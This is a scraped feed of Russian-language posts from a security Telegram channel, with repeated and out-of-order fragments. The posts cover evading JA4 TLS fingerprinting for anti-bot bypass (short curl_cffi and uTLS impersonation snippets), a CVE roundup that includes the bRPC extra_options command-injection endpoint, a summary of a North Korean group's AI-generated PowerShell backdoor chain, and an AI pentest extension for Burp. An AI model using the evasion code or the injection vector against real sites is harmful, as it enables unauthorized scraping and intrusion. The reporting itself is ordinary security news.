Для HTTP-клиента: spoofed-round-tripper - обёртка над uTLS, реализует
➡️ Node.js
CycleTLS - спуфинг JA3/JA4 для JS. Использует JA4R (raw format) для конфигурации cipher suites и extensions.
Критично: fingerprint должен соответствовать User-Agent и HTTP/2 settings. Chrome JA4 + Firefox User-Agent = instant block.
Защита (defence in depth)
JA4 + JA4H (HTTP headers) + поведенческий анализ + honeypot-ссылки. Один слой обойти легко, комбинацию - сложнее.
🔗 Источники:
- WebDecoy - JA4 Guide
- burp-awesome-tls | bypass-bot-detection от PortSwigger
- curl_cffi
- uTLS
🌚 @poxek | 📲 MAX |🌚 Блог | 📺 YT | 📺 RT | 📺 VK
#TLS #fingerprinting #antibot #scraping
Browser-as-a-Service платформы вроде Browserbase научились подделывать практически всё: User-Agent, JavaScript API, IP через residential proxy. Но есть то, что они не могут фейкнуть без перекомпиляции TLS-стека - handshake.
JA4 - эволюция JA3, созданная FoxIO в 2023. Формат читаемый, не MD5-каша:
t13d1516h2_8daaf6152771_b0da82dd1658Расшифровка: TCP, TLS 1.3, есть SNI, 15 cipher suites, 16 extensions, HTTP/2. Два хеша - ciphers и extensions.
JA4 сортирует cipher suites и extensions перед хешированием, отсеивает GREASE-значения. Fingerprint стабилен между сессиями одного клиента - но уникален для каждого TLS-стека.
t13d1517h2_... - 17 extensions вместо 16 у Chrome. User-Agent говорит Chrome 121, TLS выдаёт модифицированное окружение.t12d1307h1_... - TLS 1.2, 7 extensions, HTTP/1.1. Instant detection.Если цель использует JA4 для блокировки - вот рабочие методы обхода:
burp-awesome-tls - спуфит TLS fingerprint любого браузера. Работает против Cloudflare, Akamai, DataDome. Установка: JAR → Extender.
Альтернатива: bypass-bot-detection от PortSwigger - мутирует cipher suites для обхода TLS-детекта.
requests палится моментально (TLS 1.2, 7 extensions). Замена - curl_cffi:from curl_cffi import requests
# Имитация Chrome 136
resp = requests.get(
"https://target.com",
impersonate="chrome136"
)
Поддерживает chrome99-chrome136, firefox, safari. Под капотом - curl-impersonate с BoringSSL вместо OpenSSL.
uTLS - форк стандартной TLS-библиотеки с доступом к ClientHello:
import tls "github.com/refraction-networking/utls"
config := tls.Config{ServerName: "target.com"}
conn := tls.UClient(rawConn, &config, tls.HelloChrome_120)
Для HTTP-клиента: spoofed-round-tripper - обёртка над uTLS, реализует
http.RoundTripper.CycleTLS - спуфинг JA3/JA4 для JS. Использует JA4R (raw format) для конфигурации cipher suites и extensions.
Критично: fingerprint должен соответствовать User-Agent и HTTP/2 settings. Chrome JA4 + Firefox User-Agent = instant block.
Защита (defence in depth)
JA4 + JA4H (HTTP headers) + поведенческий анализ + honeypot-ссылки. Один слой обойти легко, комбинацию - сложнее.
- WebDecoy - JA4 Guide
- burp-awesome-tls | bypass-bot-detection от PortSwigger
- curl_cffi
- uTLS
Please open Telegram to view this post
VIEW IN TELEGRAM
Ловите вкусные баги прошедшей недели
#CVE #RCE #SiliconLabsZigbee #IBM_Db2 #Open5GS #Podman #Apache
➡️ Open5GS (CVE-2026-1586, CVSS 5.5) — DoS в Open5GS, открытой реализации 5G Core Network. Баг расположен в функции
➡️ Podman Desktop (CVE-2026-24835, CVSS 8.8) — критическая логическая ошибка в Podman Desktop, позволяющая вредоносному расширению обходить permission checks. Функция
➡️ Apache bRPC (CVE-2025-60021, CVSS 9.8) — критическая RCE-уязвимость, связанная со встроенным сервисом heap-профилирования. HTTP-эндпоинт
➡️ Silicon Labs Zigbee (CVE-2025-7964, CVSS 9.2) — критическая уязвимость, связанная с некорректной обработкой 802.15.4 MAC Data Request координатором сети. При получении специально сформированного MAC-фрейма координатор ошибочно инициирует команду network leave для маршрутизатора. В результате маршрутизатор зависает и не может повторно присоединиться к сети без ручного вмешательства, что приводит к DoS для всех зависимых конечных устройств.
➡️ IBM Db2 for Windows (CVE-2025-36384, CVSS 8.4) — unquoted search path в IBM Db2 for Windows. Локальный пользователь с доступом к файловой системе может разместить произвольный исполняемый файл в одном из каталогов, участвующих в некавыченной search path, и добиться его выполнения при запуске привилегированного сервиса Db2. Это приводит к локальной эскалации привилегий до SYSTEM и захвату контроля над хостом на уровне ОС, включая доступ к данным и конфигурации СУБД в рамках прав ОС.
🌚 @poxek | 📲 MAX |🌚 Блог | 📺 YT | 📺 RT | 📺 VK
#CVE #RCE #SiliconLabsZigbee #IBM_Db2 #Open5GS #Podman #Apache
ogs_gtp2_f_teid_to_ip файла /sgwc/s11-handler.c компонента SGWC и связан с некорректной обработкой полей GTPv2 F-TEID на интерфейсе S11. Удаленный атакующий без аутентификации может отправить специально сформированный GTP-пакет во время операций bearer modification или context creation, что приводит к крашу процесса SGWC и DoS всего 5G-ядра. Есть PoC.isAccessAllowed() безусловно возвращает true, тем самым предоставляя несанкционированный доступ ко всем authentication sessions пользователя. Это позволяет атакующему имперсонализировать пользователя и использовать сохраненные токены и сессии интеграций, доступных в среде Podman Desktop. Есть PoC./pprof/heap?extra_options=<cmd> не выполняет валидацию параметра extra_options, который передается как аргумент командной строки профайлера. Это позволяет удаленному неаутентифицированному атакующему выполнить произвольные команды с правами сервиса при доступности эндпоинта. Есть PoC.Please open Telegram to view this post
VIEW IN TELEGRAM
🔥7
Check Point Research
KONNI Adopts AI to Generate PowerShell Backdoors - Check Point Research
North Korea-linked threat group KONNI targets countries across APAC, specifically in blockchain sectors, with AI-generated malware
AI пишет малварь для КНДР
#APT #NorthKorea #AI #malware
Как работает атака
Жертва получает Discord-ссылку на ZIP-архив с PDF-приманкой и вредоносным LNK. При запуске LNK выполняет PowerShell-загрузчик, который извлекает DOCX-документ и CAB-архив с backdoor. Далее - создание scheduled task под видом OneDrive, XOR-дешифровка и in-memory исполнение.
Почему исследователи считают, что backdoor сгенерирован AI
➡️ Структурированная документация в начале скрипта (нетипично для APT-малвари)
➡️ Модульная архитектура с четким разделением функций
➡️ Комментарий
Impact
AI-assisted малварь эволюционирует быстрее и обходит signature-based детекцию. Это уже не эксперимент - это operational capability.
🔗 Check Point Research
🌚 @poxek | 📲 MAX |🌚 Блог | 📺 YT | 📺 RT | 📺 VK
#APT #NorthKorea #AI #malware
Северокорейская группировка Konni (Opal Sleet, TA406) перешла от экспериментов к боевому применению AI в разработке малвари. Цель - разработчики блокчейн-проектов в APAC регионе.
Как работает атака
Жертва получает Discord-ссылку на ZIP-архив с PDF-приманкой и вредоносным LNK. При запуске LNK выполняет PowerShell-загрузчик, который извлекает DOCX-документ и CAB-архив с backdoor. Далее - создание scheduled task под видом OneDrive, XOR-дешифровка и in-memory исполнение.
Почему исследователи считают, что backdoor сгенерирован AI
# <- your permanent project UUID - типичный артефакт AI-ассистентовImpact
AI-assisted малварь эволюционирует быстрее и обходит signature-based детекцию. Это уже не эксперимент - это operational capability.
Please open Telegram to view this post
VIEW IN TELEGRAM
Burp-AI-Agent - AI-ассистент для пентестера прямо в Burp Suite
#burpsuite #ai #pentest #ollama
Расширение от six2dez, которое превращает Burp Suite в AI-powered инструмент для security testing. Поддерживает 7 бэкендов - можно гонять локально через Ollama/LM Studio или подключить облачные Claude CLI, Gemini CLI, Codex CLI.
Что умеет
➡️ 53+ MCP-инструментов - Claude Desktop или другой MCP-клиент может автономно управлять Burp: слать запросы, запускать сканы, создавать issues. По сути, AI-агент для пентеста.
➡️ 62 класса уязвимостей - пассивный и активный сканер. SQLi, XSS, cache poisoning, JWT-атаки и ещё 58 категорий. Три режима: BUG_BOUNTY, PENTEST, FULL.
➡️ Privacy modes - STRICT/BALANCED/OFF. В строгом режиме редактирует чувствительные данные перед отправкой в облако. JSONL-логи с SHA-256 для аудита.
Требования
- Burp Suite 2023.12+ (Community или Pro)
- Java 21
- AI-бэкенд (для локального -
🔗 GitHub | Docs
🌚 @poxek_ai | 🌚 @poxek | 📲 MAX |🌚 Блог | 📺 YT | 📺 RT | 📺 VK
#burpsuite #ai #pentest #ollama
Расширение от six2dez, которое превращает Burp Suite в AI-powered инструмент для security testing. Поддерживает 7 бэкендов - можно гонять локально через Ollama/LM Studio или подключить облачные Claude CLI, Gemini CLI, Codex CLI.
Что умеет
Требования
- Burp Suite 2023.12+ (Community или Pro)
- Java 21
- AI-бэкенд (для локального -
ollama serve + нужная модель)Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14